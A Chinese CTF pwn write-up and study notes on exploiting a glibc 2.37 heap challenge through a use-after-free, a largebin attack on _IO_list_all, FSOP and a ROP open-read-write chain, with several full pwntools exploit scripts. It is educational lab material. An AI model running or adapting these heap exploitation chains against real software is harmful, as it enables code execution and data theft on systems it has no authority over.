另一方面是edit的chunk错了,uaf只有一个, 并且要注意,申请后或者删除后再edit, 不能edit了再add或者delete,fd等字段会改写,可能会出问题

pd为什么要移动过0x10

看看xq那个ppt

先输出所有的文件,再联合pwntools进行调试

echo -n “directory “; find /path/to/glibc-2.27 -type d | tr ‘\n’ ‘ ‘

总结

​ 还是差些火候,但是已经很接近了,一方面是基础漏洞的利用,大概知道怎么用,但是还是细节上理解的不够,另一方面,对复杂的复杂利用链熟悉度不够,这方面需要加强, 关键还是捋顺思路,其实回看exp,真的就是几处细节的事,但细节反应了对原理的不清晰,只是模棱两可不理解本质

并且…碰到了一个大坑…以后docker起了以后还是先看好libc版本等, 遇到一些奇怪的问题的时候,反过来看是不是自己不小心改了什么….这一次就是libc版本从2.37-0ubuntu2.1_amd64升级到了2.37-0ubuntu2.2 _amd64,而题目有个地方用到了偏移…于是乎这道题目就做不出来了…

最后其实可以用p大法,调用函数,看是否触发了io流

1
LC_CTYPE=C.UTF-8 gdb `find ./glibc-2.37 -type d -printf '-d %p '` ./chal

题目分析

libc: 2.37-0ubuntu2.1_amd64 版本

防护分析

​ 防护全开,并且禁用了一些系统调用

1
2
3
4
5
6
7
8
9
10
11
# seccomp-tools dump ./chal
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL

代码分析

​ ida反编译可能会有问题, 可以多尝试几个不同版本ida….(当时电脑上7.0的就没识别出来那个switch选择不同操作)

1
2
3
4
5
6
7
./chal
1. add_note
2. delete_note
3. edit_note
4. look_note
5. close_note
ch>

1.add

​ 大小只能是 0x40f - 0x450之间, 也就是large bin,

​ base + 0x4068存储着指针,base + 0x4060存储着size, 依次存放, 最多申请 16个堆块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.bss:0000000000004060 unk_4060        db    ? ;               ; DATA XREF: add+DC↑o
.bss:0000000000004060 ; delete+DB↑o ...
.bss:0000000000004061 db ? ;
.bss:0000000000004062 db ? ;
.bss:0000000000004063 db ? ;
.bss:0000000000004064 db ? ;
.bss:0000000000004065 db ? ;
.bss:0000000000004066 db ? ;
.bss:0000000000004067 db ? ;
.bss:0000000000004068 ; _QWORD qword_4068[31]
.bss:0000000000004068 qword_4068 dq 1Fh dup(?) ; DATA XREF: add+66↑o
.bss:0000000000004068 ; add+A1↑o ...
.bss:0000000000004068 _bss ends
.bss:0000000000004068
1
2
3
4
5
6
pwndbg> tele 0x4060+0x555555554000
00:00000x555555558060 ◂— 0x41a
01:00080x555555558068 —▸ 0x55555555b2a0 ◂— 0x0
02:00100x555555558070 ◂— 0x41a
03:00180x555555558078 —▸ 0x55555555b6d0 ◂— 0x0
04:00200x555555558080 ◂— 0x0

2.delete (一次UAF机会)

​ 这里的4010也是一开始是1,第一次的话,可以有一次UAF的机会 (可以用unsortedbin泄露地址)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 sub_162B()
{
unsigned __int64 v1; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = sub_14D0((__int64)"index> ");
if ( v1 > 0xF )
_exit(0);
if ( !qword_4068[2 * v1] )
_exit(0);
if ( byte_4010 )
{
free((void *)qword_4068[2 * v1]);
byte_4010 = 0;
}
else
{
free((void *)qword_4068[2 * v1]);
qword_4068[2 * v1] = 0LL;
*((_QWORD *)&unk_4060 + 2 * v1) = 0LL;
}
return v2 - __readfsqword(0x28u);
}

3.edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned __int64 sub_172C()
{
unsigned __int64 v1; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = sub_14D0((__int64)"index> ");
if ( v1 > 0xF )
_exit(0);
if ( !qword_4068[2 * v1] )
_exit(0);
sub_140A("content> ", qword_4068[2 * v1], *((_QWORD *)&unk_4060 + 2 * v1));
return v2 - __readfsqword(0x28u);
}

这里大小什么的貌似都没啥问题、这里可以用于UAF之后把

4.look(一次show的机会)

​ 而且只输出了0x20,感觉像是泄露libc地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 sub_17E7()
{
unsigned __int64 v1; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = sub_14D0((__int64)"index> ");
if ( v1 > 0xF )
_exit(0);
if ( !qword_4068[2 * v1] )
_exit(0);
if ( byte_4011 )
{
write(1, (const void *)qword_4068[2 * v1], 0x20uLL);
write(1, "\n", 1uLL);
byte_4011 = 0;
}
return v2 - __readfsqword(0x28u);
}

​ 它后面是iofile

1
2
3
4
5
6
7
8
9
pwndbg> tele 0x4011+0x555555554000
00:00000x555555558011 ◂— 0xd000000000000001
01:00080x555555558019 ◂— 0x8000007ffff7fb26
02:00100x555555558021 (stdout+1) ◂— 0x7ffff7fb27
03:00180x555555558029 ◂— 0xa000000000000000
04:00200x555555558031 (stdin+1) ◂— 0x7ffff7fb1a
05:00280x555555558039 ◂— 0xa000000000000000
06:00300x555555558041 (stderr+1) ◂— 0x7ffff7fb26
07:00380x555555558049 ◂— 0x0

解题思路

​ 泄漏地址后, 可以edit, 然后利用largebin attack把伪造的chunk放入链中, 用FSOP进行攻击,因为限制了系统调用,可以采用ORW或其他手法

1.泄漏地址

1.泄漏地址(libc和堆地址)

如何泄露两个地址呢?

largebin? 既有fd, 也有fdnext, 一个指向libc地址,一个指向了堆块地址

large bin attack

https://github.com/shellphish/how2heap/blob/master/glibc_2.37/large_bin_attack.c

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack/

这里遇到了一个关键点,没搞好,所以可能导致卡住了,就是写入的地址是哪个chunk? 如何控制呢?

写入的地址是本chunk的地址!

edit(0,p64(libcbase+0x1f70d0)*2+p64(heap_base+0x290)+p64(iolistall-0x20))
delete(2)

这里删除的是2,所以写入的就是2的地址

largebin

与 bk 不同的是 bk_nextsize 来自的是 fwd(unsorted bin)-> fd 而不是 unsorted bin ,可以劫持。 因此如果将 large bin 中的最小的 chunk 的 bk_nextsize 指向 &target - 0x20 的位置,然后加入一个更小 chunk 就会将 target 写入新加入 chunk 的地址。

https://blog.csdn.net/qq_45323960/article/details/123003301

栈迁移、ROP

​ 搜索命令多尝试depth, 有符号的话可以直接找…

1
2
3
4
5
6
7
8
9
ROPgadget --binary ./libc.so.6 --depth 25 | grep "mov rbp, qword ptr \[rdi +"

0x00000000001629ea :
mov rbp, qword ptr [rdi + 0x48] ;
mov rax, qword ptr [rbp + 0x18] ;
lea r13, [rbp + 0x10] ;
mov dword ptr [rbp + 0x10], 0 ;
mov rdi, r13 ;
call qword ptr [rax + 0x28]

​ 可以把后面都布置到同一个chunk里,会方便很多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
0000240e5 : pop rdi ; ret
000002573e : pop rsi ; ret
000026302 : pop rdx ; ret
0000288da : leave ; ret
000037d86 : pop r12 ; pop r13 ; ret
0000240e0 : pop r13 ; pop r14 ; pop r15 ; ret
022832:syscall; ret;
stack = b""
stack += p64(libc_base + 0x00000000000400f3) # pop rax ; ret
stack += p64(2)
stack += p64(libc_base + 0x00000000000240e5) # pop_rdi
stack += p64(heap_base + 0x380 + 0x10)
stack += p64(libc_base + 0x000000000002573e) # pop_rsi
stack += p64(2)
stack += p64(libc_base + 0x000000000026302) # pop rdx ; ret
stack += p64(0)
stack += p64(libc_base + 0x0000000000022832) # syscall; ret;
#stack += p64(libc.sym.open) # open

stack += p64(libc_base + 0x00000000000240e5) # pop_rdi
stack += p64(0)
stack += p64(libc_base + 0x000000000002573e) # pop_rsi
stack += p64(heap_base + 0x380)
stack += p64(libc_base + 0x000000000026302) # pop rdx ; pop r12 ; ret
stack += p64(0x40)
stack += p64(libc.sym.read) # read

stack += p64(libc_base + 0x00000000000240e5) # pop_rdi
stack += p64(1)
stack += p64(libc_base + 0x000000000002573e) # pop_rsi
stack += p64(heap_base + 0x380)
stack += p64(libc_base + 0x000000000026302) # pop_rdx
stack += p64(0x40)
stack += p64(libc.sym.write) # write

ROP有两种

一种是利用libc的函数进行ROP、另外一种是利用系统调用进行ROP, 但是为啥系统调用的失败了呢?

libc函数的话, 分别用rdi rsi rdx来构造三个参数

系统调用的话(32位)

  • 系统调用号,即 eax 应该为 0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

flag.txt

​ 一开始是这样,构造/flag.txt总是有问题,

1
2
3
4
5
0x110:leak_heap+0x110,
0x110+0x8:pop131415,
0x110+0x18:'flag\x00\x00\x00\x00', # 这里不同名字会影响....比如转译
0x110+0x20:0,
0x110+0x28:pop_r12_r13,

​ 后来根据debug显示的信息发现前面有干扰信息

image-20240223165708217

​ 把前面填充成0就可以了

1
2
3
4
0x110+0x10:0, # 进行填充
0x110+0x18:'/flag.tx', # 这里不同名字会影响....比如转译
0x110+0x20:'t\x00\x00\x00\x00\x00\x00\x00',
0x110+0x28:pop_r12_r13,

你的payload有什么不同? 为啥失败了?

你edit了两个chunk,其实不行的,要利用uaf,只能用到那一个chunk,其他的利用都不行,

??? 回头看倒不知道为啥失败了,可以再试试看, 反正失败的那个chunk会受到free的时候fd什么影响

1
2
3
4
5
6
payload = b''.join([
p64(leak_list[0]), // fd
p64(leak_list[1]), // bk
p64(leak_list[2]), // fd_nextsize
p64(_IO_list_all_addr-0x20), // bk_nextsize
])

为什么要触发两次呢? (其实不是故意的触发两次,而是要申请出一个堆块,然后edit填入后面的payload,从而导致又触发了一些东西,

第一次触发前

image-20240213203545694

image-20240213203731261

第一次触发后(第二次触发前

image-20240213203608403

image-20240213203706517

1
2
3
4
5
     else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}

如何触发?

起个gdb server? docker调试?

并且还得把debug目录考出来? /usr/lib/debug

注意这个build id要一样

libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d320ce4e63925d698610ed423fc4b1f0e8ed51f1, for GNU/Linux 3.2.0, stripped

image-20240213195324516

image-20240213195342721

为什么这里能再次修改 _IO_list_all ???

1
add_note(0x418) # link [0] to _IO_list_all_addr

脱链的操作?

image-20240213201148099

image-20240213200803322

1
2
3
4
5
     else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}

► 51 _IO_acquire_lock (fp);

遇到了新问题, 布置的chunk会被覆盖掉两个值.. 或者设定好的值是会有变动的, 那么这里是怎么解决的呢?

所以是因为自己看的代码里 理解错了??

1
2
3
4
5
6
7
8
void __noreturn sub_197F()
{
FILE *stream; // [rsp+0h] [rbp-10h]

for ( stream = *(FILE **)off_4018; stream; stream = stream->_chain )
fclose(stream);
_exit(0);
}

难道还是环境的问题???? 还是先用给的环境吧, 差一点可能也不行

思路和资料收集

所以,应该不涉及tcache、 ( 后记: 是的这个思路正确

v1只说了不能大于0xf 所以可以用负数? 或者怎么表示负数呢?

0xff是不是就溢出了 (后记: 这个思路不对,不能是负数

largebin attach (后记: 思路正确

是否可以修改fd bk,到堆地址上,类似 house of orange

高版本堆利用

https://www.roderickchan.cn/zh-cn/2023-03-01-analysis-of-glibc-heap-exploitation-in-high-version/

https://www.cnblogs.com/7resp4ss/p/17300224.html

基本考虑就是largebin+fsop

https://bbs.kanxue.com/thread-278695.htm

https://blog.csdn.net/qq_45323960/article/details/123003301

能在任意地址写上p2的地址,所以就可以把iofile的那个_chain指针写成p2的,然后伪造p2为iofile就可以了!!!

如果使用largebin attack就可以一步到位指向布置在chunk上的伪造结构体。同时还可以修改_chain指针,劫持到多个伪造的结构体的利用链

不需要泄露堆地址,因为可以直接把p2的赋值过去

https://deepunk.icu/2023/07/27/house-of-cat/

根据这个题改的把, 而且本题edit没有限制

https://zikh26.github.io/posts/7de5a5b7.html

https://kagehutatsu.com/?p=723

libc版本是多少呢?(后记: 看dockerfile就行了

https://blog.csdn.net/weixin_52640415/article/details/126157319

libc6_2.35-0ubuntu3/lib/x86_64-linux-gnu/libc.so.6

https://github.com/MuelNova/PwNo/blob/ad370fda3835add52ba68580d206fb3f5fb46c88/src/pwno/helper/IO/cat.py#L7

高版本利用

总结:https://www.roderickchan.cn/zh-cn/2023-03-01-analysis-of-glibc-heap-exploitation-in-high-version/

house of cat

https://blog.csdn.net/qq_61670993/article/details/134147133

这里有讲ROP:https://nicholas-wei.github.io/2022/08/02/house-of-cat/

https://xz.aliyun.com/t/12349

house of obstack

总结:https://www.ctfiot.com/102675.html

house of corrosion

House of apple1

https://bbs.kanxue.com/thread-273418.htm#msg_header_h3_1

https://blog.csdn.net/qq_62172019/article/details/130779745?spm=1001.2014.3001.5502

banana

https://www.cnblogs.com/trunk/p/17157420.html

坑总结

起的docker安装软件会对libc有影响

​ 因为本身pwn题目和libc版本就强相关,一点小变动都影响很大,而题目中还用了偏移(以后可以多注意下),更有影响了, 更新/下载一些软件,会给libc打patch之类的!!! 如果以后觉得有东西很奇怪,可以问问的!!!!!!!!!!!!!!!!!!!!!!!不要憋着(不过感觉这个可能和题目有关…理论上也不能问)

​ 比如apt-get install python3-pip, 安装完之后libc的加载地址就不一样了,原先最后是3000

1
2
3
4
# ldd chal
linux-vdso.so.1 (0x00007ffff7fc6000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7db4000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fc8000)

​ 可以看到, 安装python3-pip的时候会安装libc相关的

1
2
3
4
5
The following NEW packages will be installed:
binutils binutils-common binutils-x86-64-linux-gnu build-essential bzip2 ca-certificates cpp cpp-12 dirmngr dpkg-dev fakeroot fontconfig-config fonts-dejavu-core g++
g++-12 gcc gcc-12 gcc-12-base gnupg gnupg-l10n gnupg-utils gpg gpg-agent gpg-wks-client gpg-wks-server gpgconf gpgsm javascript-common libalgorithm-diff-perl
libalgorithm-diff-xs-perl libalgorithm-merge-perl libasan8 libassuan0 libatomic1 libbinutils libbrotli1 libbsd0 libc-dev-bin libc-devtools libc6-dev libcc1-0
...

如何用docker里给的ld和libc

直接用ld运行二进制文件, 但是,记得要加./ 不然识别不了….太坑了..所以以后还是写好路径…

1
2
3
4
5
6
7
8
9
# ./ld-linux-x86-64.so.2 ./chal
1. add_note
2. delete_note
3. edit_note
4. look_note
5. close_note

# ./ld-linux-x86-64.so.2 chal
chal: error while loading shared libraries: chal: cannot open shared object file

​ gdb 调试这种启动方式 : gdb -args ./ld-linux-x86-64.so.2 ./chal (但是…这样的话,chal的加载地址会和普通方式不太一样

https://www.cnblogs.com/7resp4ss/p/17300224.html#poc 看一下人家是怎么用的…

​ 就正常的patchelf就行了,但自己的用法有个误区..patchelf 设置–set-rpach的时候是设置搜索路径..不是设置文件..

patchelf –set-rpath /pwn/clearhuanjing/testldlibc/libc.so.6 ./chal 这是错误的

patchelf –set-rpath /pwn/clearhuanjing/testldlibc/ ./chal 这才对

caocaocao 虽然官网没给….但是可以改下url就找到了…

https://launchpad.net/ubuntu/lunar/amd64/libc6-dbg/2.37-0ubuntu2.1

exp

自己的改写成功的( edit 正确的、成功输出字符串)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
# -*- coding: utf-8 -*-
from pwn import*

context(os = 'linux', arch = 'amd64', log_level = 'debug')
context.terminal = ['tmux', 'splitw', '-h']
def debug(cmd=''):
cmd += "b main\n"
gdb.attach(p, cmd)
pause()

host = ""
port = 0
p = process("./chal")
#p = remote(host, port)
libc = ELF("./libc.so.6")
debug()

def add(size):
p.sendlineafter("ch>", str(1))
p.sendlineafter("size>",str(size).encode())

def delete(index):
p.sendlineafter("ch>", str(2))
p.sendlineafter("index>",str(index).encode())
def show(index):
p.sendlineafter("ch>", str(4))
p.sendlineafter("index>",str(index).encode())
def edit(index, content):
p.sendlineafter("ch>", str(3))
p.sendlineafter("index>",str(index).encode())
p.sendlineafter("content>",content)

add(0x420) #largechunk 0
add(0x430)
add(0x418)
delete(0)
add(0x440)
show(0)#leak largechunk
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) -0x1f70d0
log.success("libc_base = {}".format(hex(libc_base)))
p.recvuntil("\x7f\x00\x00")
heap_base = u64(p.recvn(6).ljust(8,b"\x00")) -0x290
log.success("heap_base = {}".format(hex(heap_base)))


# edit largechunk 0 and trigger largebin attack


#fake IO
libcbase=libc_base
system=libcbase+libc.sym['system']

leakheap = heap_base
leak_heap = heap_base
lb = libcbase

iolistall = libcbase + 0x1f7680


leak_heap = heap_base+0x290



struct_fp = fit({
0x20: 0x0,
0x28: leak_heap+0xe8+0x30+1,
0x30: leak_heap+0xe8+0x30+1,
0x88: leak_heap+0x1170,
0xd8: 0x1f2d00 + libc_base +0x8
}, filler=b'\x00', length=0xd8+8) # 确保长度为0xd0,填充为b'\x09',加8是因为fit函数从0开始计数,而0xd0是索引,实际需要0xd0+1个字节的长度

pd = flat(
{
0x0:bytes(struct_fp),
#------fake __printf_buffer---
0xe0:leak_heap+0xe8,
0xe8:[
0, #write_base 0
0, #write_ptr 8
leak_heap+0xe8+0x30+1, #write_end 0x10
leak_heap+0x110, #written 0x18
p32(11), #mode 0x20
],
#----------------------------
#------fake obstack----------
0x110:leak_heap+0x110,
0x110+0x18:[
'/bin/sh\x00',
0
],
0x110+0x38:libc_base+libc.sym.puts,
0x110+0x48:leak_heap+0x110+0x18,
0x110+0x50:[0xff]
#----------------------------
}
)


edit(0,p64(libcbase+0x1f70d0)*2+p64(heap_base+0x290)+p64(libcbase+0x1f7680-0x20))
delete(2)
add(0x440)
add(0x418)
edit(0,pd[0x10:])
pause()
p.sendlineafter("ch>", str(5))
p.interactive()

libc函数ROP 成功exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
# -*- coding: utf-8 -*-
from pwn import*

context(os = 'linux', arch = 'amd64', log_level = 'debug')
context.terminal = ['tmux', 'splitw', '-h']
def debug(cmd=''):
cmd += "b main\n"
gdb.attach(p, cmd)
pause()

host = ""
port = 0
#p = process("./chal")
p = remote("127.0.0.1", 31020)
libc = ELF("./libc.so.6")
#debug()

def add(size):
p.sendlineafter("ch>", str(1))
p.sendlineafter("size>",str(size).encode())

def delete(index):
p.sendlineafter("ch>", str(2))
p.sendlineafter("index>",str(index).encode())
def show(index):
p.sendlineafter("ch>", str(4))
p.sendlineafter("index>",str(index).encode())
def edit(index, content):
p.sendlineafter("ch>", str(3))
p.sendlineafter("index>",str(index).encode())
p.sendlineafter("content>",content)

add(0x420) #largechunk 0
add(0x430)
add(0x418)
delete(0)
add(0x440)
show(0)#leak largechunk
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) -0x1f70d0
log.success("libc_base = {}".format(hex(libc_base)))
p.recvuntil("\x7f\x00\x00")
heap_base = u64(p.recvn(6).ljust(8,b"\x00")) -0x290
log.success("heap_base = {}".format(hex(heap_base)))


# edit largechunk 0 and trigger largebin attack


#fake IO
libcbase=libc_base
system=libcbase+libc.sym['system']

leakheap = heap_base
leak_heap = heap_base
lb = libcbase

iolistall = libcbase + 0x1f7680


leak_heap = heap_base+0x290



struct_fp = fit({
0x20: 0x0,
0x28: leak_heap+0xe8+0x30+1,
0x30: leak_heap+0xe8+0x30+1,
0x38: leak_heap + 0x200, # fakechunk 2
0x48: leak_heap + 0x200, # fakechunk 2
0x88: leak_heap+0x1170,
0xd8: 0x1f2d00 + libc_base +0x8
}, filler=b'\x00', length=0xd8+8) # 确保长度为0xd0,填充为b'\x09',加8是因为fit函数从0开始计数,而0xd0是索引,实际需要0xd0+1个字节的长度



pop_rdi = libc_base +0x0000240e5
pop_rsi = libc_base + 0x02573e
pop_rdx = libc_base + 0x026302
syscallret = libc_base + 0x22832
leave_ret = libc_base + 0x00288da
pop_r12_r13 = libc_base + 0x000037d86
pop131415 = libc_base +0x0240e0
pd = flat(
{
0x0:bytes(struct_fp),
#------fake __printf_buffer---
0xe0:leak_heap+0xe8,
0xe8:[
0, #write_base 0
0, #write_ptr 8
leak_heap+0xe8+0x30+1, #write_end 0x10
leak_heap+0x110, #written 0x18
p32(11), #mode 0x20
],
#----------------------------
#------fake obstack----------
0x110:leak_heap+0x110,
0x110+0x8:pop131415,
0x110+0x10:0, # 进行填充
0x110+0x18:'/flag.tx', # 这里不同名字会影响....比如转译
0x110+0x20:'t\x00\x00\x00\x00\x00\x00\x00',
0x110+0x28:pop_r12_r13,
0x110+0x30: pop_rdi,
0x110+0x38:leave_ret,
#0x110+0x48:leak_heap+0x110+0x18,
0x110 + 0x40:pop_r12_r13,
0x110+0x50:[0xff],
0x110 + 0x58: pop_r12_r13,
#-----------ROP------------

0x128 + 0x48: leak_heap+0x200,

0x110 + 0x68: leak_heap+0x200,

0x110 + 0x70: pop_rdi,
0x110 + 0x78: leak_heap+0x128,
0x110 + 0x80: pop_rsi,
0x110 + 0x88: 0,
0x110 + 0x90: pop_rdx,
0x110 + 0x98: 0,
0x110 + 0xa0: libc_base+libc.sym.open,


0x110 + 0xa8: pop_rdi,
0x110 + 0xb0: 3,
0x110 + 0xb8: pop_rsi,
0x110 + 0xc0: leak_heap+0x300,
0x110 + 0xc8: pop_rdx,
0x110 + 0xd0: 0x40,
0x110 + 0xd8: libc_base+libc.sym.read,

0x110 + 0xe0: pop_rdi,
0x110 + 0xe8: 1,
0x110 + 0xf0: pop_rsi,
0x110 + 0xf8: leak_heap+0x300,
0x110 + 0x100: pop_rdx,
0x110 + 0x108: 0x30,
0x110 + 0x110: libc_base+libc.sym.write

}
)


edit(0,p64(libcbase+0x1f70d0)*2+p64(heap_base+0x290)+p64(libcbase+0x1f7680-0x20))
delete(2)
add(0x440)
add(0x418)
edit(0,pd[0x10:])
pause()

p.sendlineafter("ch>", str(5))
p.interactive()

原始exp (失败的、做题的时候写的) ( 可以回头看看还差多少…离成功)

少了个锁

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
# -*- coding: utf-8 -*-
from pwn import*
from pwncli import *

context(os = 'linux', arch = 'amd64', log_level = 'debug')
context.terminal = ['tmux', 'splitw', '-h']
def debug(cmd=''):
cmd += "b main\n"
gdb.attach(p, cmd)
pause()

host = ""
port = 0
p = process("./chal")
#p = remote(host, port)
libc = ELF("./libc.so.6")
debug()

def add(size):
p.sendlineafter("ch>", str(1))
p.sendlineafter("size>",str(size).encode())

def delete(index):
p.sendlineafter("ch>", str(2))
p.sendlineafter("index>",str(index).encode())
def show(index):
p.sendlineafter("ch>", str(4))
p.sendlineafter("index>",str(index).encode())
def edit(index, content):
p.sendlineafter("ch>", str(3))
p.sendlineafter("index>",str(index).encode())
p.sendlineafter("content>",content)

add(0x420)#largechunk 0
add(0x430)
add(0x418)
delete(0)
add(0x440)
show(0)#leak largechunk
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) -0x1f70d0
log.success("libc_base = {}".format(hex(libc_base)))
p.recvuntil("\x7f\x00\x00")
heap_base = u64(p.recvn(6).ljust(8,b"\x00")) -0x290
log.success("heap_base = {}".format(hex(heap_base)))
#fake IO
libcbase=libc_base
system=libcbase+libc.sym['system']

leakheap = heap_base
leak_heap = heap_base
lb = libcbase

iolistall = libcbase + 0x1f7680
#iolistall = libcbase + 0x1f7723



stack = b""
stack += p64(libc_base + 0x00000000000400f3) # pop rax ; ret
stack += p64(2)
stack += p64(libc_base + 0x00000000000240e5) # pop_rdi
stack += p64(heap_base + 0x380 + 0x10)
stack += p64(libc_base + 0x000000000002573e) # pop_rsi
stack += p64(2)
stack += p64(libc_base + 0x000000000026302) # pop rdx ; ret
stack += p64(0)
stack += p64(libc_base + 0x0000000000022832) # syscall; ret;
#stack += p64(libc.sym.open) # open

stack += p64(libc_base + 0x00000000000240e5) # pop_rdi
stack += p64(0)
stack += p64(libc_base + 0x000000000002573e) # pop_rsi
stack += p64(heap_base + 0x380)
stack += p64(libc_base + 0x000000000026302) # pop rdx ; pop r12 ; ret
stack += p64(0x40)
stack += p64(libc.sym.read) # read

stack += p64(libc_base + 0x00000000000240e5) # pop_rdi
stack += p64(1)
stack += p64(libc_base + 0x000000000002573e) # pop_rsi
stack += p64(heap_base + 0x380)
stack += p64(libc_base + 0x000000000026302) # pop_rdx
stack += p64(0x40)
stack += p64(libc.sym.write) # write




putsaddr=libcbase+libc.sym['puts']

#fake_fp = leak_heap+0x290
fake_fp = heap_base +0x2a0
import pwncli
fake_printf_buffer = fake_fp+0x58


fp = pwncli.IO_FILE_plus_struct()
fp.vtable = 0x1f2d00 + libc_base
fp._IO_write_ptr = fake_printf_buffer+ 0x30 + 1 #0x28
fp._IO_write_end = fake_printf_buffer + 0x30 + 1 #0x30
fp._IO_write_base = 0x0 #0x20
fp._lock = leak_heap+0x1170

#fake a obsatck
fp._IO_backup_base = 0xff #0x50
fp._IO_buf_base = putsaddr #0x38
fp._IO_save_base = fake_fp + 0xa0 #0x48
fp._wide_data = 0x68732f6e69622f #0xa0

#fake a __printf_buffer
fp = pwncli.payload_replace(bytes(fp),{
0x58:0,
0x60:0,
0x68:fake_printf_buffer + 0x30 + 1,
0x70:0,
0x78:11,
0x80:fake_fp
})


pd = pwncli.flat(
{
0x0:bytes(fp),
0xe0:fake_printf_buffer,
}
)



#large bin attack stderr poiniter
edit(0,p64(libcbase+0x1f70d0)*2+p64(heap_base+0x290)+p64(iolistall-0x20))
delete(2)
add(0x440)
add(0x418)
edit(0,pd)
#edit(0,p64(libcbase+0x1f70d0)*2+p64(heap_base+0x290)+p64(iolistall-0x20))
#trigger __malloc_assert
pause()
#delete(100)
p.sendlineafter("ch>", str(5))

#add(0x4500)
#gdb.attach(p,'b* (_IO_wfile_seekoff)')
p.recv(1000)
p.interactive()

weichaode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#!/usr/bin/env python3 

from pwncli import *

cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug

def cmd(i, prompt='ch>'):
sla(prompt, str(i))
def add(sz):
cmd('1')
sla('size>',str(sz))
def edit(i,cont):
cmd('3')
sla('>',str(i))
sla('>',(cont))

def show(i):
cmd('4')
sla('>',str(i))
def dele(i):
cmd('2')
sla('>',str(i))

add(0x428)
add(0x428)
add(0x418)
add(0x430)
dele(0)
add(0x450)
show(0)

lb = recv_current_libc_addr(0x1f70d0,0x100)
leak_ex2(lb)
libc.address = lb
r(10)
leak_heap = u64_ex(r(6))
leak_ex2(leak_heap)

dele(2)

fake_fd_bk = lb + 0x1f70d0
edit(0,flat(
{
0:[
[fake_fd_bk]*2,
0x0,libc.sym._IO_2_1_stderr_ + 0x68-0x20
] },filler='\x00'
))

add(0x450)
add(0x418)

fake_fp = leak_heap
gg1 = libc.search(asm("mov rbp,QWORD PTR [rdi+0x48];mov rax,QWORD PTR [rbp+0x18]")).__next__()

